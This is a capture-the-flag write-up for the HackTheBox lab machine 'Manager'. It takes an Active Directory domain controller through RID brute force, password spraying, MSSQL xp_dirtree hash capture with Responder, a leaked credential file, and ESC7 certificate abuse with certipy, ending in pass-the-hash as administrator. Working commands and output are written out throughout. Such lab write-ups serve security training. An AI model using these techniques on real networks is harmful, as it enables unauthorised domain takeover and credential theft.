Machine: Manager
Difficulty: Medium
Platform: HackTheBox
Release: Released on 10/21/2023
About Manager
Manager is a medium-difficulty machine on HackTheBox. Initially, we'll abuse the guest session to perform a RID Bruteforce attack to identify valid users within the Domain Controller. The user "operator" has reused their username as a password, granting us valid credentials over the domain.
Shell as raven
As operator, we connect to the SQL Server using mssqlclient from Impacket. By exploiting the xp_dirtree feature, we discover an intriguing file in the website's root folder. This file contains credentials for the user "raven," and we gain access as them through WinRM.
Shell as administrator
As raven, we possess the ManageCA privilege, enabling us to exploit the Active Directory Certificate Services (ADCS), particularly the ESC7 vulnerability. This vulnerability allows us to obtain a valid certificate for the administrator user, granting us privileged access to the system.
Recon
As always, let's conduct a port scan to discover open ports on the victim machine. To achieve this, I will utilize nmap:
elswix@ubuntu$ nmap 10.10.11.236 --min-rate 10000 -p- -n
Nmap scan report for 10.10.11.236
Host is up (0.14s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49742/tcp open unknown
50811/tcp open unknown
51448/tcp open unknown
52139/tcp open unknown
It seems to be a domain controller (DC), so we're probably against an active directory environment.
HTTP Service - Port 80
A website is exposed on port 80:
After examining the website, I didn't discover any useful information or potential footholds. Consequently, I began enumerating the SMB service.
SMB Enumeration - Port 445
Let's enumerate the SMB service. This will allow us to obtain some information about the victim machine, such as its operating system, domain, and shared resources.
elswix@ubuntu$ crackmapexec smb 10.10.11.236
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
It is running Windows 10. Its hostname is DC01, suggesting it may be the domain controller. Since it shows us the domain, let's append it to our hosts file.
elswix@ubuntu$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ubuntu
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.236 dc01.manager.htb manager.htb
elswix@ubuntu$
Next, let's check if we can list network-level shared resources. Since we lack credentials, we could attempt to log in to the SMB service using a Null Session.
elswix@ubuntu$ crackmapexec smb 10.10.11.236 --shares
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] Error getting user: list index out of range
SMB 10.10.11.236 445 DC01 [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
We received the STATUS_USER_SESSION_DELETED response, indicating that Null Session access is not permitted. This means we are unable to proceed with listing network-level shared resources using this method. However, we could attempt to log in using a Guest Session by specifying only an arbitrary username:
elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u "elswix" -p "" --shares
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\elswix:
SMB 10.10.11.236 445 DC01 [*] Enumerated shares
SMB 10.10.11.236 445 DC01 Share Permissions Remark
SMB 10.10.11.236 445 DC01 ----- ----------- ------
SMB 10.10.11.236 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.236 445 DC01 C$ Default share
SMB 10.10.11.236 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.236 445 DC01 NETLOGON Logon server share
SMB 10.10.11.236 445 DC01 SYSVOL Logon server share
It worked! This confirms that we can use a Guest Session to enumerate the shared resources. However, upon reviewing the output, it's evident that we lack read access to any potentially interesting shared resources.
RID Bruteforce
For a clearer understanding of the attack, I will explain what the RID is.
In Active Directory, each object, including user accounts, has a unique SID (Security Identifier) consisting of a domain SID and a RID. The RID is a part of the SID that is unique within that specific domain. Therefore, if you know a valid RID within a domain, you can combine it with the known domain SID to get a valid SID, which is equivalent to a valid user account in that domain.
The Bruteforce RID technique involves trying to guess or enumerate valid RID values within a domain. This can be done in an automated fashion, trying a number of possible RIDs to see which ones generate valid SIDs. RIDs are typically integer values starting from 1000 and increasing in increments.
To achieve this, I will utilize crackmapexec and specify the --rid-brute parameter. The --rid-brute parameter allows us to perform a brute-force attack on RIDs within the domain.
elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u "elswix" -p "" --rid-brute
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\elswix:
SMB 10.10.11.236 445 DC01 498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 500: MANAGER\Administrator (SidTypeUser)
SMB 10.10.11.236 445 DC01 501: MANAGER\Guest (SidTypeUser)
...[snip]...
SMB 10.10.11.236 445 DC01 1117: MANAGER\JinWoo (SidTypeUser)
SMB 10.10.11.236 445 DC01 1118: MANAGER\ChinHae (SidTypeUser)
SMB 10.10.11.236 445 DC01 1119: MANAGER\Operator (SidTypeUser)
As the output is extensive, I've copied it into a file and applied filters to extract the domain users:
elswix@ubuntu$ cat users.txt
Administrator
Cheng
ChinHae
DC01$
Guest
JinWoo
krbtgt
Operator
Raven
Ryan
Zhong
Since we have valid users within the domain, we could attempt an ASREP-Roast attack to obtain user passwords. ASREP-Roast attacks target Kerberos pre-authentication, with the goal of extracting password hashes from user accounts that do not require pre-authentication.
If you want to understand how this attack works, it's crucial to grasp the Kerberos Authentication Flow. My friend ZaikoARG has written an excellent article about it, which you can find here. I highly recommend taking a look.
For this purpose, I will use the GetNPUsers.py tool from the Impacket suite:
elswix@ubuntu$ GetNPUsers.py manager.htb/ -no-pass -usersfile users.txt
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Cheng doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ChinHae doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User JinWoo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User Operator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Raven doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Ryan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Zhong doesn't have UF_DONT_REQUIRE_PREAUTH set
Any of these users has the UF_DONT_REQUIRE_PREAUTH attribute set, so this attack didn't work.
Password Spraying
Sometimes, individuals reuse their usernames as passwords. Therefore, it's important to check if this is the case. With access to valid usernames, we can conduct a password spray to ascertain if they've used these usernames as passwords. To accomplish this, I'll convert my user wordlist to lowercase.
elswix@ubuntu$ cat users.txt
administrator
cheng
chinhae
dc01$
guest
jinwoo
krbtgt
operator
raven
ryan
zhong
Finally, we can utilize crackmapexec to check whether the users reuse their usernames as passwords.
elswix@kali$ crackmapexec smb 10.10.11.236 -u users.txt -p users.txt --continue-on-success --no-bruteforce
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] manager.htb\administrator:administrator STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\dc01$:dc01$ STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\guest:guest STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [+] manager.htb\operator:operator
SMB 10.10.11.236 445 DC01 [-] manager.htb\raven:raven STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE
As you can see, the user operator has reused their username as their password. Consequently, we have successfully obtained valid credentials for this user.
Let's verify if the user 'operator' has read access to any interesting shared resources.
elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u operator -p operator --shares
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\operator:operator
SMB 10.10.11.236 445 DC01 [*] Enumerated shares
SMB 10.10.11.236 445 DC01 Share Permissions Remark
SMB 10.10.11.236 445 DC01 ----- ----------- ------
SMB 10.10.11.236 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.236 445 DC01 C$ Default share
SMB 10.10.11.236 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.236 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.236 445 DC01 SYSVOL READ Logon server share
There aren't any noteworthy shared resources. Occasionally, you might find interesting information in the SYSVOL resource, but that's not the case with this machine.
Let's verify if the user operator belongs to the Remote Management Users group. If so, we could potentially gain access to the system using tools like Evil-WinRM:
elswix@ubuntu$ crackmapexec winrm 10.10.11.236 -u operator -p operator
SMB 10.10.11.236 5985 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
HTTP 10.10.11.236 5985 DC01 [*] http://10.10.11.236:5985/wsman
HTTP 10.10.11.236 5985 DC01 [-] manager.htb\operator:operator
Unfortunately, attempting WinRM access was unsuccessful. Therefore, there are no further actions to take through WinRM at this point.
As we possess valid credentials, we can proceed with a Kerberoasting Attack. If successful, we may obtain valid credentials for vulnerable users. To execute this, we'll utilize GetUserSPNs.py from the Impacket suite.
elswix@ubuntu$ GetUserSPNs.py manager.htb/operator -dc-ip 10.10.11.236
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra
Password:
No entries found!
There are no users vulnerable to Kerberoasting, so we will continue using the same credentials at this point.
Shell as raven
As we saw during the initial port scan, port 1433 was open. This port corresponds to the MSSQL Service. Perhaps our credentials will enable us to gain access to this service.
elswix@ubuntu$ mssqlclient.py manager.htb/operator:operator@10.10.11.236
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed for user 'operator'.
At first glance, it didn't work. Let's see what happens if we specify the -windows-auth parameter:
elswix@ubuntu$ mssqlclient.py manager.htb/operator:operator@10.10.11.236 -windows-auth
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator guest@master)>
Great! We gained access to the MSSQL Service.
During the enumeration of the MSSQL Service, I didn't find any useful information. However, I noticed that the xp_dirtree command was available, so I thought about some attacks.
The xp_dirtree command allows users to explore and list directories and files on the server's file system. This command can be useful for tasks such as file system navigation and management within SQL Server environments.
In addition to scanning the server's file system, you can attempt to list network-level shares. This essentially means that you could perform network-level authentication against a share, potentially leaking a Net-NTLMv2 hash.
To capture this network-level authentication, I will use the Responder poisoner.
elswix@ubuntu$ /opt/Responder/Responder.py -I tun0 -v
/opt/Responder/Responder.py -I tun0 -v
...[snip]...
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
...[snip]...
[+] Current Session Variables:
Responder Machine Name [WIN-L48LHKM1C40]
Responder Domain Name [0991.LOCAL]
Responder DCE-RPC Port [47505]
[+] Listening for events...
Next, we will utilize xp_dirtree to initiate a network-level authentication.
SQL (MANAGER\Operator guest@master)> xp_dirtree \\10.10.16.2\a
subdirectory depth file
------------ ----- ----
SQL (MANAGER\Operator guest@master)>
We successfully obtained the Net-NTLMv2 hash:
[SMB] NTLMv2-SSP Client : 10.10.11.236
[SMB] NTLMv2-SSP Username : MANAGER\DC01$
[SMB] NTLMv2-SSP Hash : DC01$::MANAGER:86cf6e7938fec1bb:84AB0990D1CF3E4E12197367DB5AC620:0101000000000000803540BD9274DA01253208077D4D230A0000000002000800300039003900310001001E00570049004E002D004C00340038004C0048004B004D00310043003400300004003400570049004E002D004C00340038004C0048004B004D0031004300340030002E0030003900390031002E004C004F00430041004C000300140030003900390031002E004C004F00430041004C000500140030003900390031002E004C004F00430041004C0007000800803540BD9274DA0106000400020000000800300030000000000000000000000000300000BE1467459C7019954C2A28FDD4C4F683F9DD2AA7BA11D950819CCCCBB070B8750A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0032000000000000000000
Unfortunately, this hash proved to be uncrackable, rendering it useless at this point. Although we can't abuse xp_dirtree to obtain credentials, it may still enable us to list the server's file system.
Let's attempt to list the directories in the system root:
SQL (MANAGER\Operator guest@master)> EXEC xp_dirtree "C:\",1,1
subdirectory depth file
------------------------- ----- ----
$Recycle.Bin 1 0
Documents and Settings 1 0
inetpub 1 0
PerfLogs 1 0
Program Files 1 0
Program Files (x86) 1 0
ProgramData 1 0
Recovery 1 0
SQL2019 1 0
System Volume Information 1 0
Users 1 0
Windows 1 0
SQL (MANAGER\Operator guest@master)>
Indeed, we have successfully obtained directory listing over the filesystem.
While enumerating the filesystem, I discovered the root folder of the website exposed on port 80:
SQL (MANAGER\Operator guest@master)> EXEC xp_dirtree "C:\inetpub\wwwroot",1,1
subdirectory depth file
------------------------------- ----- ----
about.html 1 1
contact.html 1 1
css 1 0
images 1 0
index.html 1 1
js 1 0
service.html 1 1
web.config 1 1
website-backup-27-07-23-old.zip 1 1
SQL (MANAGER\Operator guest@master)>
This is quite intriguing. As you may have noticed, there is a compressed file in the root folder with the word backup in its name. Let's take a closer look at it.
Since it's exposed in the root folder of the website, we can attempt to download it using wget.
elswix@ubuntu$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
--2024-03-13 07:56:32-- http://10.10.11.236/website-backup-27-07-23-old.zip
Connecting to 10.10.11.236:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘website-backup-27-07-23-old.zip’
website-backup-27-07-23-old.zip 100%[=======================================================>] 1021K 315KB/s in 3,2s
2024-03-13 07:56:36 (315 KB/s) - ‘website-backup-27-07-23-old.zip’ saved [1045328/1045328]
elswix@ubuntu$
Once downloaded, I'll extract it using unzip:
elswix@ubuntu$ unzip -d backup website-backup-27-07-23-old.zip
Archive: website-backup-27-07-23-old.zip
inflating: backup/.old-conf.xml
inflating: backup/about.html
inflating: backup/contact.html
inflating: backup/css/bootstrap.css
...[snip]...
extracting: backup/images/s-4.png
extracting: backup/images/search-icon.png
inflating: backup/index.html
inflating: backup/js/bootstrap.js
inflating: backup/js/jquery-3.4.1.min.js
inflating: backup/service.html
elswix@ubuntu$
Upon examining the files, I found the .old-conf.xml file intriguing. Upon inspecting its contents, I discovered the following:
elswix@ubuntu$ cat .old-conf.xml
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<server>
<host>dc01.manager.htb</host>
<open-port enabled="true">389</open-port>
<secure-port enabled="false">0</secure-port>
<search-base>dc=manager,dc=htb</search-base>
<server-type>microsoft</server-type>
<access-user>
<user>raven@manager.htb</user>
<password>R4v3nBe5tD3veloP3r!123</password>
</access-user>
<uid-attribute>cn</uid-attribute>
</server>
<search type="full">
<dir-list>
<dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
</dir-list>
</search>
</ldap-conf>
elswix@ubuntu$
Contained within are credentials for the user 'Raven'. Let's validate them using crackmapexec.
elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123
They work! We've obtained valid credentials for Raven. Let's verify if raven has WinRM access.
elswix@ubuntu$crackmapexec winrm 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
SMB 10.10.11.236 5985 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
HTTP 10.10.11.236 5985 DC01 [*] http://10.10.11.236:5985/wsman
HTTP 10.10.11.236 5985 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)
As observed, Raven has WinRM access. This means that using tools like Evil-WinRM, we could potentially gain access to the system as Raven.
elswix@ubuntu$ evil-winrm -i 10.10.11.236 -u 'raven' -p 'R4v3nBe5tD3veloP3r!123'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents>
We've successfully gained access to the system. We can read user.txt in the desktop directory.
*Evil-WinRM* PS C:\Users\Raven\Documents> type ..\Desktop\user.txt
448e2**********************0f8d1
*Evil-WinRM* PS C:\Users\Raven\Documents>
As Raven, we lack potentially interesting token privileges:
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\Raven\Documents>
Shell as administrator
As this machine operates with ADCS (Active Directory Certificate Services):
elswix@ubuntu$ crackmapexec ldap 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123' -M adcs
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.236 389 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123
ADCS 10.10.11.236 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS Found PKI Enrollment Server: dc01.manager.htb
ADCS Found CN: manager-DC01-CA
We could attempt to exploit it. There are various techniques to exploit ADCS, but first, we need to determine which technique we should use.
Firstly, let's search for vulnerable templates using certipy:
elswix@ubuntu$ certipy find -vulnerable -stdout -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : manager-DC01-CA
DNS Name : dc01.manager.htb
Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb
...[snip]...
[!] Vulnerabilities
ESC7 : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates : [!] Could not find any certificate templates
It couldn't find any vulnerable certificate templates, but it mentions something interesting: Raven has dangerous permissions. This potentially means that Raven may have ManageCA privileges (ESC7).
We can attempt to exploit this vulnerability from both Linux and Windows. Let me guide you through the process specifically from Linux.
ADCS Exploitation - ESC7
To abuse this from Linux, we'll utilize certipy. You can install it from PyPi using the following command:
elswix@ubuntu$ pip install certipy-ad
Requirements:
- Possession of only the
ManageCApermission. - Possession of the
Manage Certificatespermission (can be granted viaManageCA). - The
SubCAcertificate template must be enabled (can be enabled viaManageCA).
This method takes advantage of certain permissions that allow users to manage certificates (ManageCA). There's a type of certificate called "SubCA" that has a vulnerability (ESC1), but only administrators are allowed to request it. However, a regular user can ask for the "SubCA" certificate, get denied at first, but then the request can be approved by the manager, giving the user access they shouldn't have.
You can read more in HackTricks.
First, we must enable the 'Manage Certificates' privilege. We can do this by adding our user as a new officer:
elswix@ubuntu$ certipy ca -ca 'manager-DC01-CA' -add-officer raven -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
Great! Now we have to enable the SubCA template.
elswix@ubuntu$ certipy ca -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -target-ip dc01.manager.htb -ca 'manager-DC01-CA' -enable-template 'SubCA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
Once we have successfully enabled the SubCA template, we need to request a certificate based on it. Although the request will be denied, we will save the private key and take note of the request ID:
elswix@ubuntu$ certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 15
Would you like to save the private key? (y/N) y
[*] Saved private key to 15.key
[-] Failed to request certificate
Taking advantage of our ManageCA and Manage Certificates privileges, we can then issue the failed certificate with the ca command and the -issue-request <request ID> parameter:
elswix@ubuntu$ certipy ca -ca 'manager-DC01-CA' -issue-request 15 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
Finally, we can retrieve the issued certificate with the req command and the -retrieve <request ID> parameter:
elswix@ubuntu$ certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target dc01.manager.htb -retrieve 15
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 15
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '15.key'
[*] Saved certificate and private key to 'administrator.pfx'
Now, with this certificate, you can utilize tools like gettgtpkinit.py, PassTheCert, and more, as well as the auth parameter of certipy:
elswix@ubuntu$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
As indicated, an error occurred. The KRB_AP_ERR_SKEW error suggests that we need to synchronize our clock with the Domain Controller. You can accomplish this by using ntpdate:
elswix@ubuntu$ ntpdate 10.10.11.236
13 Mar 15:57:41 ntpdate[32443]: step time server 10.10.11.236 offset +25198.195972 sec
elswix@ubuntu$
Finally, the authentication should be successful:
elswix@ubuntu$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
As observed, it retrieved the NTLM hash for the administrator user. This indicates that using the Pass-the-Hash technique, we could authenticate as the administrator user.
elswix@ubuntu$ crackmapexec smb 10.10.11.236 -u administrator -H 'ae5064c2f62317332c88629e025924ef'
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\administrator:ae5064c2f62317332c88629e025924ef (Pwn3d!)
It worked! So now, using Evil-WinRM, we can gain access to the system as administrator.
elswix@ubuntu$ evil-winrm -i 10.10.11.236 -u administrator -H 'ae5064c2f62317332c88629e025924ef'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Finally, we can read root.txt:
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
a4b67**********************5a1cb
*Evil-WinRM* PS C:\Users\Administrator\desktop>